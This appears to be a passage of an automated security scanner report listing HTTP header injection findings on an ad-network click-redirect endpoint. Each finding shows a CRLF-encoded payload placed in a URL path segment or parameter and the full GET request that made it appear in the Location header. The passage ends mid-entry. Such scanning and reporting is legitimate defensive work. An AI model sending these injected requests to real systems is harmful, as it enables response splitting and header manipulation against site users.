ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 19 is copied into the Location response header. The payload a51c3%0d%0a7eebecdec02 was submitted in the REST URL parameter 19. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/a51c3%0d%0a7eebecdec02 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload 591e6%0d%0a985b0b0017d was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/591e6%0d%0a985b0b0017d/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload 83775%0d%0a107c0b40884 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/83775%0d%0a107c0b40884/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload f3296%0d%0a30ce56375d6 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/f3296%0d%0a30ce56375d6/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 6 is copied into the Location response header. The payload e3982%0d%0a98884cd2344 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/e3982%0d%0a98884cd2344/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 7 is copied into the Location response header. The payload a276f%0d%0a361444f8735 was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/a276f%0d%0a361444f8735/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 8 is copied into the Location response header. The payload 83f7f%0d%0a20b0303aa8 was submitted in the REST URL parameter 8. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/83f7f%0d%0a20b0303aa8/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 9 is copied into the Location response header. The payload 90f5c%0d%0a969ec85c814 was submitted in the REST URL parameter 9. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/90f5c%0d%0a969ec85c814/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr request parameter is copied into the Location response header. The payload 2b368%0d%0ae152459b88d was submitted in the http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?http://ad.doubleclick.net/jump/N3867.270604.B3/B5128597.10;abr=2b368%0d%0ae152459b88d HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.20. http://a.tribalfusion.com/h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload b66f4%0d%0af5f710e997 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?b66f4%0d%0af5f710e997=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.21. http://a.tribalfusion.com/h.click/a7mNvB0GM0YcJY1cZbpnqvW2UQVWbMAUAQYQav0ScUrQtbx1dvqWP3N2GY50UYZcVATv4PZb8PmbE2dYn1dnLpdTM36MY5V3aVcQjWcF7SAFOWtY3Ubb45bEqWEUoVaJdQaZbZcRGJZbQU6vPWM8WcU25rmsndeO0tqIwxZbMVw/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 8d45c%0d%0a20e1c69dbef was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/a7mNvB0GM0YcJY1cZbpnqvW2UQVWbMAUAQYQav0ScUrQtbx1dvqWP3N2GY50UYZcVATv4PZb8PmbE2dYn1dnLpdTM36MY5V3aVcQjWcF7SAFOWtY3Ubb45bEqWEUoVaJdQaZbZcRGJZbQU6vPWM8WcU25rmsndeO0tqIwxZbMVw/?8d45c%0d%0a20e1c69dbef=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the ord request parameter is copied into the Location response header. The payload ac0a8%0d%0a8ed1987295d was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/a7mNvB0GM0YcJY1cZbpnqvW2UQVWbMAUAQYQav0ScUrQtbx1dvqWP3N2GY50UYZcVATv4PZb8PmbE2dYn1dnLpdTM36MY5V3aVcQjWcF7SAFOWtY3Ubb45bEqWEUoVaJdQaZbZcRGJZbQU6vPWM8WcU25rmsndeO0tqIwxZbMVw/;ord=ac0a8%0d%0a8ed1987295d HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.23. http://a.tribalfusion.com/h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 2bc38%0d%0a32afce6163b was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/?2bc38%0d%0a32afce6163b=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the ord request parameter is copied into the Location response header. The payload d8e25%0d%0abe3ec6901dd was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
